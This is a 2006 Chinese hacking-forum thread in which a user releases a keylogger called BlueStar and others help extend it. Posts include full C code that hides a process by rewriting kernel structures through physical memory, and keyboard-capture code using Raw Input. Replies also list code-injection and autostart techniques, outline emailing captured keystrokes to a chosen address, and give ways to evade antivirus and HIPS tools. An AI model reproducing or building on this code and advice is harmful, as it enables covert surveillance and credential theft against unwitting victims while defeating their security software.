[原创]键盘记录工具BlueStar Beta v0.99
软件作者:李丰初 2006年11月28日于公司信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
V. 进程隐藏功能,在系统任务管理器里找不到此进程
1,程序实现了一般的键盘记录,中文不能识别
2,记录存放在本程序根目录下,以BlueStar_2008_11_12.log存在
3,注册表RUN自启动
4:这个东东的由来,最近搞服务器的时候老是遇一台服务器里面装PCanywhere的控件台,里面有N多的客户机,从网上下载的键盘记录器老是被杀毒软件给KILL了,有些不能自启动,叹,于是就自己写了,自启动本来写成系统服务的,但想想,服务器没有人登录时就运行的话,没有这个必要,因为这个键盘记录器又不是GINA,呵呵,,所以还是直接在注册表RUN算了
5:程序加了个北斗壳9K多,不加有20K,今天的测试的时候用卡吧6.0不报(没有开注册表监视)
6:程序类似的已经有蛮多了,只是写个给适合自己的要求来用
PS:开发东东用VC++6.0,准备出下个版本,记录指定的窗口程序,发邮件功能那个就暂时不考虑,键盘记录器写写就写**盗号木马就违背我的初衷了.本程序只做安全测试,一切后果用者负责.如果有什么问题,请及时联系我,感谢ING!
再PS一下:本程序实现了XP与NT系统的隐藏功能,此项功能个人感觉比较满意,但过不了冰刀,
当时隐藏想做成驱动级的,但会多了一个SYS文件,估计驱动级的隐藏进程能过冰刀,下个版会考虑加上去 加个发送到邮箱的功能吧 [s:35] 为什么每一个字符都会记录4个
wwwwssssmmmm mmmmeeeeiiii 2222yyyyiiii ggggeeee zzzziiiiffffuuuu ddddoooouuuu hhhhuuuuiiii 2222jjjjiiiilllluuuu sssshhhhaaaannnngggg [quote][b]引用第3楼[i]lifediy[/i]于[i]2006-11-29 11:59[/i]发表的[/b]:
为什么每一个字符都会记录4个
wwwwssssmmmm mmmmeeeeiiii 2222yyyyiiii ggggeeee zzzziiiiffffuuuu ddddoooouuuu hhhhuuuuiiii 2222jjjjiiiilllluuuu sssshhhhaaaannnngggg[/quote]
我也遇到的了。。。 驱动的隐藏也过不了冰韧的吧 hackdefender那么牛 还不是过不了.. 好东西当然要顶一下了,我感觉如果公布原代码的话就可以加个精了 QUOTE:
引用第3楼lifediy于2006-11-29 11:59发表的:
为什么每一个字符都会记录4个
wwwwssssmmmm mmmmeeeeiiii 2222yyyyiiii ggggeeee zzzziiiiffffuuuu ddddoooouuuu hhhhuuuuiiii 2222jjjjiiiilllluuuu sssshhhhaaaannnngggg
我也遇到的了。。。
A::
我测试的时候并没有出现类似的情况,如果方便的话捉下图,,谢谢你们了.... 1.Win2000 SP4 Pro下测试通过,基本功能都有了,稳定性也可以,细节处理的也不错,可以看出楼主是个很细心的人。其它平台没有测试,可能还存在一些小的BUG,一般隐藏进程在驱动级hook ZwQuerySystemInformation,楼主用的那段隐藏进程的代码在网上引用的很广泛,是在ring3下修改内存实现的,貌似是rootkit.com上的代码,原作者究竟是谁也不知道了。
2.把下面的代码直接保存为一个头文件hide.h,然后在你自己的程序中包含这个头文件就ok了,只要调用一下HideProcess()就可以隐藏进程了,怕怕,泄露了楼主的机密,不知是否会被楼主砍:)
我不是本区版主,所以无权加精,见谅
3.注册表RUN自启动:这个小伙子很实在!^_^
[code]
#include<windows.h>
#include<Accctrl.h>
#include<Aclapi.h>
#define NT_SUCCESS(Status)((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)
BOOL HideProcess();
////////////////
/////////////////
typedef LONG NTSTATUS;
typedef struct _IO_STATUS_BLOCK
{
NTSTATUS Status;
ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
#define OBJ_INHERIT 0x00000002L
#define OBJ_PERMANENT 0x00000010L
#define OBJ_EXCLUSIVE 0x00000020L
#define OBJ_CASE_INSENSITIVE 0x00000040L
#define OBJ_OPENIF 0x00000080L
#define OBJ_OPENLINK 0x00000100L
#define OBJ_KERNEL_HANDLE 0x00000200L
#define OBJ_VALID_ATTRIBUTES 0x000003F2L
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes
);
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);
RTLINITUNICODESTRING RtlInitUnicodeString;
ZWOPENSECTION ZwOpenSection;
HMODULE g_hNtDLL = NULL;
PVOID g_pMapPhysicalMemory = NULL;
HANDLE g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------
BOOL InitNTDLL()
{
g_hNtDLL = LoadLibrary("ntdll.dll");
if (NULL == g_hNtDLL)
return FALSE;
RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL,
"RtlInitUnicodeString");
ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
return TRUE;
}
//---------------------------------------------------------------------------
VOID CloseNTDLL()
{
if(NULL != g_hNtDLL)
FreeLibrary(g_hNtDLL);
g_hNtDLL = NULL;
}
//---------------------------------------------------------------------------
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
PACL pDacl = NULL;
PSECURITY_DESCRIPTOR pSD = NULL;
PACL pNewDacl = NULL;
DWORD dwRes = GetSecurityInfo(hSection, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION, NULL,
NULL, &pDacl, NULL, &pSD);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
EXPLICIT_ACCESS ea;
RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
ea.grfAccessPermissions = SECTION_MAP_WRITE;
ea.grfAccessMode = GRANT_ACCESS;
ea.grfInheritance= NO_INHERITANCE;
ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
ea.Trustee.ptstrName = "CURRENT_USER";
dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
dwRes = SetSecurityInfo
(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL);
if(ERROR_SUCCESS != dwRes)
{
if(pSD)
LocalFree(pSD);
if(pNewDacl)
LocalFree(pNewDacl);
}
}
//---------------------------------------------------------------------------
HANDLE OpenPhysicalMemory()
{
NTSTATUS status;
UNICODE_STRING physmemString;
OBJECT_ATTRIBUTES attributes;
ULONG PhyDirectory;
g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
GetVersionEx (&g_osvi);
if (5 != g_osvi.dwMajorVersion)
return NULL;
switch(g_osvi.dwMinorVersion)
{
case 0:
PhyDirectory = 0x30000;
break; //2k
case 1:
PhyDirectory = 0x39000;
break; //xp
default:
return NULL;
}
RtlInitUnicodeString(&physmemString, L"\\Device\\PhysicalMemory");
attributes.Length = sizeof(OBJECT_ATTRIBUTES);
attributes.RootDirectory = NULL;
attributes.ObjectName = &physmemString;
attributes.Attributes = 0;
attributes.SecurityDescriptor = NULL;
attributes.SecurityQualityOfService = NULL;
status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
if(status == STATUS_ACCESS_DENIED)
{
status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
SetPhyscialMemorySectionCanBeWrited(g_hMPM);
CloseHandle(g_hMPM);
status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
}
if(!NT_SUCCESS(status))
return NULL;
g_pMapPhysicalMemory = MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, PhyDirectory,
0x1000);
if( g_pMapPhysicalMemory == NULL )
return NULL;
return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID LinearToPhys(PULONG BaseAddress, PVOID addr)
{
ULONG VAddr = (ULONG)addr,PGDE,PTE,PAddr;
PGDE = BaseAddress[VAddr>>22];
if (0 == (PGDE&1))
return 0;
ULONG tmp = PGDE & 0x00000080;
if (0 != tmp)
{
PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
}
else
{
PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
if (0 == (PTE&1))
return 0;
PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
UnmapViewOfFile((PVOID)PGDE);
}
return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG GetData(PVOID addr)
{
ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_READ|FILE_MAP_WRITE, 0, phys &
0xfffff000, 0x1000);
if (0 == tmp)
return 0;
ULONG ret = tmp[(phys & 0xFFF)>>2];
UnmapViewOfFile(tmp);
return ret;
}
//---------------------------------------------------------------------------
BOOL SetData(PVOID addr,ULONG data)
{
ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
PULONG tmp = (PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);
if (0 == tmp)
return FALSE;
tmp[(phys & 0xFFF)>>2] = data;
UnmapViewOfFile(tmp);
return TRUE;
}
//---------------------------------------------------------------------------
long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp)
{
ExitProcess(0);
return 1 ;
}
//---------------------------------------------------------------------------
BOOL YHideProcess()
{
// SetUnhandledExceptionFilter(exeception);
if (FALSE == InitNTDLL())
return FALSE;
if (0 == OpenPhysicalMemory())
return FALSE;
ULONG thread = GetData((PVOID)0xFFDFF124); //kteb
ULONG process = GetData(PVOID(thread + 0x44)); //kpeb
ULONG fw, bw;
if (0 == g_osvi.dwMinorVersion)
{
fw = GetData(PVOID(process + 0xa0));
bw = GetData(PVOID(process + 0xa4));
}
if (1 == g_osvi.dwMinorVersion)
{
fw = GetData(PVOID(process + 0x88));
bw = GetData(PVOID(process + 0x8c));
}
SetData(PVOID(fw + 4), bw);
SetData(PVOID(bw), fw);
CloseHandle(g_hMPM);
CloseNTDLL();
return TRUE;
}
BOOL HideProcess()
{
static BOOL b_hide = false;
if (!b_hide)
{
b_hide = true;
YHideProcess();
return true;
}
return true;
}
[/code] 2,记录存放在本程序根目录下,以BlueStar_2008_11_12.log存在
3,注册表RUN自启动
这两个功能不好 容易被发现
而且还不能实现网络发送功能
希望在下一版中实现 感谢gyzy帮助,
关于代码注入,有很多种方法,我列出一些,供丰初兄参考:
1.CreateRemoteThread
我博客上有个可以参考:[url]http://www.xyzreg.net/gyzy/blog/read.php/9.htm[/url]
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
这个没有在网上找到现成代码
3.替换现有服务的DLL
用DLL进行转发
4.修改目标文件引入表
幻影上有个帖子,可供参考:[url]http://www.ph4nt0m.org/bbs/showthread.php?s=&threadid=33731&perpage=15&pagenumber=1[/url]
5.修改注册表:
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellExecuteHooks HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\Appinit_Dlls
....以及其它许多键值.Sysinternals有个工具Autoruns,几乎所有的自启动方法都被罗列了.
6.winlogon通知包,xx通知包
7.感染PE文件
...........太多了,让大家继续补充 今天刚回帖不到30分钟,GYZY就加我MSN了,,他喜欢上QQ,而我公司封杀了QQ.只能用MSN,郁闷,在MSN上聊到,原来gyzy与我早就见过面!!!在今年的安全焦点峰会上,只是当时无缘相识,,叹,,,,....
"1.CreateRemoteThread
我博客上有个可以参考:[url]http://www.xyzreg.net/gyzy/blog/read.php/9.htm[/url]
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
这个没有在网上找到现成代码" 这类似的方法可取.
"3.替换现有服务的DLL
用DLL进行转发" 这个我觉得有点绕远路走了,其实在注册表中可以直接把程序写成服务?为什么还要替换DLL,控制吧的直接写注册表成系统服务是比较简便的呀,可能GYZY兄想把搞成一个类似黑客之门启动方式的吧?呵呵,不过我这个只是小小的键盘记录器,牛刀杀鸡了,,, :)
其他的四点键盘非常不错,如果想定成一个接近系统级的记录软件非常值得参考.再感谢gyzy, 关于线程注入,<<向其他进程注入代码的三种方法>>这篇文章不错
[url]http://forum.eviloctal.com/read-htm-tid-21626.html[/url]
另付一个PDF格式的
[url]http://netxfly.blogbus.com/files/1163491746.pdf[/url]
附件中的是我写的一个Demo
netxfly.dll是要存放被注入线程代码的DLL,放在e:根目录下即可
然后执行insert.exe <目标进程ID>,就可以把netxfly.dll中的代码注入到目标进程
Ps:上面那个Hide Process函数我测试没成功,请gyzy指点一下 附件中是我测试的代码 兄弟客气了,哪里提得上请教,交流!交流!
[code]
#include "Hide.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
MessageBox(NULL, "Content", "Title", MB_OK);
HideProcess();
return 0;
}
[/code]
弹出对话框的时候阻塞了进程,HideProcess没有执行到,汗一个........两个语句交换下位置,我XP SP2下测试成功 呵呵,传错了,这是第一次的
后来我改成这样也不行,用任务管理器还是能看到
[code]
// HideProcess.cpp : Defines the entry point for the application.
//
#include "Hide.h"
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
HideProcess();
MessageBox(NULL, "Content", "Title", MB_OK);
return 0;
}
[/code] 嗯,我在测试过程中某些机子确实有不成功的情况,我也不知道什么原因,愿路过的大侠能为我们解惑 TO:netxfly
[quote][b]引用第17楼[i]gyzy[/i]于[i]2006-11-30 17:55[/i]发表的[/b]:
嗯,我在测试过程中某些机子确实有不成功的情况,我也不知道什么原因,愿路过的大侠能为我们解惑[/quote]
[b]呵呵,这个代码是采用操作物理内存进ring0断链隐藏进程的,不过该代码处理不完善,导致内核模块为ntkrnlpa.exe等情况时取地址错误。[/b] [quote][b]引用第12楼[i]wwwst[/i]于[i]2006-11-30 12:41[/i]发表的[/b]:
今天刚回帖不到30分钟,GYZY就加我MSN了,,他喜欢上QQ,而我公司封杀了QQ.只能用MSN,郁闷,在MSN上聊到,原来gyzy与我早就见过面!!!在今年的安全焦点峰会上,只是当时无缘相识,,叹,,,,....
.......[/quote]
阁下就是今年安焦峰会上第一个提问题获得T恤的朋友?嘿嘿:) [quote][b]引用第10楼[i]wwwst[/i]于[i]2006-11-30 10:10[/i]发表的[/b]:
一程序隐藏的时候,开始我是用如下的方法进行的:
/* begin
HINSTANCE myBlueStar;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
myBlueStar = LoadLibrary("KERNEL32");
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(myBlueStar, "RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
OVER*/
[/quote]
[b]此法是用在Win 9x下的,基于NT核心的平台下无效。 而且即使在win98下也只是在任务管理器下看不到,在msinfo32中就可以看到了:)[/b] [quote][b]引用第18楼[i]wwwst[/i]于[i]2006-11-30 18:30[/i]发表的[/b]:
TO:netxfly
那个程序我下载来看了,有测试了几个程序,有些是可以的,但有些好似比较郁闷.....
我再研究看看........
.......[/quote]
或者自己编写个dll,把代码放进去,然后再远程注入explorer.exe
貌似在罗云彬的书上有个例子,不过他是把窗口编写成dll再注入 [quote]当时也试了用注入线程explorer.exe,但老是出错,当时参考网上一些DLL注入explorer.exe的例子,但用EXE
本身注入explorer却出错,希望gyzy能给些相关的例子或者资料参考下,好让我写出下个更加好的版本,对此
非常感谢gyzy,站内我会发短信给你.........
.......[/quote]
exe本身注入也不难......只是解决装载注入后函数地址,重定位问题,以免注入后的api找不到北.
[url]http://bbs.pediy.com/showthread.php?s=f0ed35d5d6368812370dc9c8354be4d6&threadid=35067[/url]
这里有一个隐藏的,自己反了它貌似可以找到一些信息 [s:73]
楼主能开源吗? [s:73]
至于发送e-mail部分,楼主可以参考ESMTP 协议通讯,把HOOK到的日志钩子(也就是键盘记录)通过Base64编码发送到指定的地址....
Socket连接后, ESMTP 协议通讯 :
1、EHLO <Domain>\r\n
2、AUTH LOGIN\r\n
3、Base64_Username\r\n
4、Base64_Password\r\n
5、MAIL FROM:\r\n
6、RCPT TO:\r\n
7、DATA\r\n
8、发送数据\r\n.\r\n
9、QUIT\r\n
当然只是提供一个意见 [s:73] QUOTE:晚生就是今年安焦峰会上第一个提问题获得T恤的朋友?嘿嘿:)(厚着脸皮提问的搞笑问题)
A: 正是小生,呵呵,峰会相必你也去了吧?哪个,说不定我们早就认识了,嘿嘿!!...........我站内短信你,多多交流哦
之前我一直测试用
/* begin
HINSTANCE myBlueStar;
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
myBlueStar = LoadLibrary("KERNEL32");
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(myBlueStar, "RegisterServiceProcess");
lpRegisterServiceProcess(GetCurrentProcessId(),1);
额....目前我能注入explorer.exe等进程的,也只有一些片段API,例如把只实现某个功能的API注入进去..........
看雪论坛的那个测试程序,我也找不到源码,遗憾.....
注入进程的API组合一般是 :FindWindow(这里也可以用快照)---GetWindowThreadProcessId---OpenProcess-----VirtualAllocEx-----WriteProcessMemory----CreateRemoteThread
我给你一个站,你可以去搜索相关的资料,我相信是有的
[url]http://www.google.com/codesearch[/url]
如果是win32汇编,搜索方式是:"invoke GetWindowThreadProcessId"
至于vc++ 自己发挥咯 :) [quote][b]引用第11楼[i]gyzy[/i]于[i]2006-11-30 11:26[/i]发表的[/b]:
关于代码注入,有很多种方法,我列出一些,供丰初兄参考:
1.CreateRemoteThread
我博客上有个可以参考:[url]http://www.xyzreg.net/gyzy/blog/read.php/9.htm[/url]
另外《windows核心编程》中就有这样的例子
2.SetThreadContext
.......[/quote]
我觉得大家这么热情参与这个keylogger不会真的要把它壮大吧?关于进程隐藏,我想说说我比较偏激的看法:
其实gyzy提到的方法GSS都可以拦截到,窃以为在恶意代码与AV的较量中,这次AV占了上峰,而且是绝对的上峰,无论是技术上的还是细节上的。很多技术我们知道,但都懒得很细腻的施展在自己的代码里,说是“懒得”,其实大部分人是无法完成这些看似简单的细节,现在,GSS在技术和细节上以完美的姿态击倒了诸多恶意代码在进程方面的“核心技术”。其实,就我看来,如果没有什么技术上的突破,再搞这些没什么意思了。
尽管未必会有很多人使用这类AV,但大家心里要明白,那些曾经高深的技术已经落败为小伎俩。或许用了这些伎俩的程序还在别人的机器上自豪的run着,但是,实际上只是AV有没有走到你的程序面前当众将你的小伎俩挑穿的问题。
至于GSS核心技术是什么(简单的hook api吗?不敢妄言),如果高人有兴趣,还望研究后普施于众。 好东西,被我找到了,哈哈 TO:progray
首先我觉得没有跟**效劲,而是借助一个小程序去不断的探索一些本人未能学到但非常有兴趣学的东东,从而引起共享,大家一起学习.
对一些旧的技术,我觉得我如果没有了解与掌握的话,是很难发现新的技术的,"我看得远,是因为我站在巨人的肩膀上",个人认为吧,很多东东是建立在旧的东东基础上有所创新的......
但你的观点我不否认,每人看待事情的立场都不同,呵呵,,,,, progray兄弟的见解很深刻,支持一下,非常感谢您的意见.我们EST提供的是一种讨论技术的氛围,并没有任何其它的意思.看来GSS比较厉害,有空一定要研究一下,但觉得progray兄弟的有些看法我有点意见,仅代表我个人的观点,很希望能与progray兄弟交流.GSS假如能拦截对PE文件的恶意操作的话,那么恐怕文件型病毒这玩意就快要从地球上消失了,现在的HIPS越做越强大,PE感染将是以后恶意软件发展的一个趋势(个人猜测而已),这里PE感染是一个比较宽泛的概念.旧的技术随着anti技术的发展,可能会退出历史舞台,但假如我们连这些"陈旧"的东西都没学好,怎么去创新呢?对于GSS,我想也只有研究后采有发言权:) 回楼上二位:
lz,你可能误会了,我的回复不是专指你。其实这个帖的亮点在于回帖的各位的精彩补充,我前一回复已经说明了"大家这么热情参与这个keylogger...",更多的是指回帖的各位朋友。你作为学习很好,我的标题写的也是"当学习就好",所以我们之间应该不存在什么立场不同的问题。希望大家都能从这个帖子的回复中学习到更多东西。
TO gyzy,你可能也有些误会了,GSS是进程操作拦截方面做得比较好,不是拦截PE恶意操作,更不是文件感染,这与进程隐藏是非常不同的。基本上目前我所知道的和你所列出的进程隐藏技术,并不是对pe文件的操作,而是对其内存映像的操作,这个你肯定很清楚,只不过映像与PE格式有紧密的联系,但绝对是不同的。旁不多说,看看你列出的相关内容的代码就知道了。
我上一回复的意思是提醒大家,要注意在进程这方面,AV已经领先了,要更多地考虑如何扩展,本来av与恶意代码之间就是此消彼长的发展,现在av出棋了,那我们下一步在哪里呢?另外,恶意代码不仅仅是进程隐藏, GSS仅仅是在进程的拦截上做的出色,这远远不能使“文件型病毒这玩意就快要从地球上消失”。
当然还没有熟悉进程隐藏技术的朋友可以多多学习这方面的内容,毕竟有了基础才能更好发展,关于进程隐藏,我觉得gyzy朋友列出的内容基本上差不多了,google一下,每一个都会搜索到现成的代码的。共同学习,共同进步吧 ;-) [quote][b]引用第26楼[i]progray[/i]于[i]2006-12-01 13:20[/i]发表的[/b]:
我觉得大家这么热情参与这个keylogger不会真的要把它壮大吧?关于进程隐藏,我想说说我比较偏激的看法:
其实gyzy提到的方法GSS都可以拦截到,窃以为在恶意代码与AV的较量中,这次AV占了上峰,而且是绝对的上峰,无论是技术上的还是细节上的。很多技术我们知道,但都懒得很细腻的施展在自己的代码里,说是“懒得”,其实大部分人是无法完成这些看似简单的细节,现在,GSS在技术和细节上以完美的姿态击倒了诸多恶意代码在进程方面的“核心技术”。其实,就我看来,如果没有什么技术上的突破,再搞这些没什么意思了。
尽管未必会有很多人使用这类AV,但大家心里要明白,那些曾经高深的技术已经落败为小伎俩。或许用了这些伎俩的程序还在别人的机器上自豪的run着,但是,实际上只是AV有没有走到你的程序面前当众将你的小伎俩挑穿的问题。
.......[/quote]
[b]呵呵,突破GSS不难,而且bypass it的方法还不止一种。至今我好像还没遇到突破不了的安全系统:)。
提示一下,代码注入、进入Ring0、修改注册表、感染文件,这四者是可以相互转化的。实现RD,AD双重防御的GSS貌似很强悍,其实不然。比如,可以采用操作HIVE的方法绕过GSS的注册表监控实现修改注册表;还可以用GSS没监控的进入Ring0的方法进入R0,然后恢复他的钩子;还可以……,太多太多了~~~ 当你对系统机制、系统底层很熟悉的时候,你就会感觉到突破安全软件的方法是非常多的。
考虑不全面的HIPS在专业技术研究者面前仍是不堪一击的。另外,再加之一些奇技淫巧,路仍是很宽很宽的~
但是,安全软件厂商也有他们的苦衷,毕竟作为一个企业考虑的东西和完全从技术角度考虑的专业研究者们的出发点是不同的:) [/b] 那个重复记录键盘的问题,我也遇到过
特别是在网页的登陆框里面输入的字符,一般都会被记录2次,没有lz的那么多,呵呵
到现在我也没有找到原因, [s:38] TO: nipcdll
" 那个重复记录键盘的问题,我也遇到过
特别是在网页的登陆框里面输入的字符,一般都会被记录2次,没有lz的那么多,呵呵
到现在我也没有找到原因, "
估计出现四次的情况是运行了加上次,你出现了两次记录是因为你运行了两次,你可以这样子测试,把注册表里面的RUN下的GOOD值去掉,重启下,然后再运行一次软件,他就会只出现记录一次了. [s:39] 偶还是对源码有兴趣 TO :ASM
"偶还是对源码有兴趣 "
晚点我出了比较完善的版本,连源码一起公布吧...呵呵,,,,,,,,,,,现在是BETA版,,,,, 用了楼主东东之后,发现确实不错:)
今天没事,在公司看了看msdn, 也发现一个获取键盘输入的方法[s:35],不知道是不是和楼主的相似哦?
这里主要是用的win xp的 Raw Input来获取的。
关于Raw input可以到MSDN中查看,网上有人翻译了中文版本的:[url]http://www.cppblog.com/shenhuafeng/archive/2006/09/15/12530.html[/url]
主要流程:
1、向系统注册一个或者多个原始输入设备
2、在你注册的原始输入设备数据发生变化时,系统发送一个消息及新数据到你的进程
3、调用GetRawInputData或者GetRawInputBuffer来获取这些数据
这是注册部分的代码:
[code]
BOOL RegisitKeyBord(HWND hwnd)
{
if(NULL == hwnd)
return false;
PRegisterRawInputDevices RegisterRawInputDevices = (PRegisterRawInputDevices)GetApiAdd("User32.dll", "RegisterRawInputDevices");
if(NULL == RegisterRawInputDevices)
return false;
RAWINPUTDEVICE rid;
rid.usUsagePage = 0x01;
rid.usUsage = 0x06;
rid.dwFlags = RIDEV_INPUTSINK;
rid.hwndTarget = hwnd;
return RegisterRawInputDevices(&rid, 1, sizeof(RAWINPUTDEVICE));
}
[/code]
获取数据的部分代码:
[code]
case WM_INPUT:
if(NULL == GetRawInputData)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &dwSize, sizeof(RAWINPUTHEADER));
lpb = new BYTE[dwSize];
if(lpb == NULL)
{
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
}
if(GetRawInputData((HRAWINPUT)lParam, RID_INPUT, lpb, &dwSize, sizeof(RAWINPUTHEADER)) != dwSize)
MessageBox(NULL, "GetRawInputData doesn't return correct size !", "Raw Input Test", 0);
raw = (RAWINPUT*)lpb;
if (raw->header.dwType == RIM_TYPEKEYBOARD)
{
wsprintf(vk, "Kbd: make=%04x Flags:%04x Reserved:%04x ExtraInformation:%08x, msg=%04x VK=%04x \n",
raw->data.keyboard.MakeCode,
raw->data.keyboard.Flags,
raw->data.keyboard.Reserved,
raw->data.keyboard.ExtraInformation,
raw->data.keyboard.Message,
raw->data.keyboard.VKey);
MessageBox(NULL, vk, "Raw Input Test", 0);
}
delete[] lpb;
DefWindowProc(hWnd, message, wParam, lParam);
return 0;
[/code]
这是枚举输入设备的代码:
[code]
int main(void)
{
HANDLE hHeap = GetProcessHeap();
UINT nDevices = 0;
PGetRawInputDeviceList GetRawInputDeviceList = NULL;
HMODULE hUser32 = LoadLibrary("User32.dll");
if(hUser32 != NULL)
{
GetRawInputDeviceList = (PGetRawInputDeviceList)GetProcAddress(hUser32, "GetRawInputDeviceList");
if(NULL == GetRawInputDeviceList)
{
printf("Load GetRawInputDeviceList error..\n");
FreeLibrary(hUser32);
return -1;
}
}
else
{
printf("Load user32.dll error..\n");
return -1;
}
GetRawInputDeviceList(NULL, &nDevices, sizeof(RAWINPUTDEVICELIST));
PRAWINPUTDEVICELIST pril = (PRAWINPUTDEVICELIST)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(RAWINPUTDEVICELIST) * nDevices);
PRAWINPUT pri = (PRAWINPUT)HeapAlloc(hHeap, HEAP_ZERO_MEMORY, 1024);
if(NULL == pril)
{
printf("HeapAlloc error..\n");
FreeLibrary(hUser32);
return -1;
}
nDevices = GetRawInputDeviceList(pril, &nDevices, sizeof(RAWINPUTDEVICELIST));
if(nDevices <= 0)
{
printf("GetRawInputDeviceList error..\n");
HeapFree(hHeap, HEAP_ZERO_MEMORY, pril);
FreeLibrary(hUser32);
return -1;
}
printf("All %d input devices:\n", nDevices);
for(UINT i = 0; i < nDevices; i++)
{
printf("hDevice: %08x\ttype: %08x\n", pril->hDevice, pril->dwType);
pril++;
}
HeapFree(hHeap, HEAP_ZERO_MEMORY, pril);
FreeLibrary(hUser32);
return 0;
}
[/code] TO :kiki
我的这样精细,直接用HOOK,回调,就OK了,记得论坛以前有人讨论过的.具体哪帖忘记了,等待找到再回帖子上去..
"有个问题是似乎一个键被按下时,会有两次提示???因为我在枚举系统的输入设备列表时,发现了两个键盘输入设备,我也不知道是什么原因"
这种情况我也没有遇到过,我也很想知道答案.................... 我知道了,
是KeyUp和KeyDown的原因。 [s:39] 这里有一个看雪牛人写的键盘记录的工具,
[url]http://bbs.pediy.com/showthread.php?s=&threadid=36211[/url]
貌似对楼主有用 [s:73] [quote][b]引用第19楼[i]xyzreg[/i]于[i]2006-11-30 23:56[/i]发表的[/b]:
[b]呵呵,这个代码是采用操作物理内存进ring0断链隐藏进程的,不过该代码处理不完善,导致内核模块为ntkrnlpa.exe等情况时取地址错误。[/b][/quote]
测试了一下进程隐藏,xp sp2下没有成功,检查了一下,我的内核模块为ntkrnlpa.exe;
大虾能不能说明一下内核模块为ntkrnlpa.exe和ntoskrnl.exe两者的差别呢?这段代码如何完善呢?
谢谢 *** 作者被禁止或删除 内容自动屏蔽 *** 不是说了么
隐藏进程
楼上的认真拜读楼主的帖子了么? *** 作者被禁止或删除 内容自动屏蔽 *** 在2k3环境下,不能隐藏进程,任务管理器可以看见的,不知作者有没有测试? [quote][b]引用第3楼[i]lifediy[/i]于[i]2006-11-29 11:59[/i]发表的[/b]:
为什么每一个字符都会记录4个
wwwwssssmmmm mmmmeeeeiiii 2222yyyyiiii ggggeeee zzzziiiiffffuuuu ddddoooouuuu hhhhuuuuiiii 2222jjjjiiiilllluuuu sssshhhhaaaannnngggg[/quote]
你是运行了啊初的BlueStar.exe 四次吧; 这个好东东会不会被杀毒软件杀?
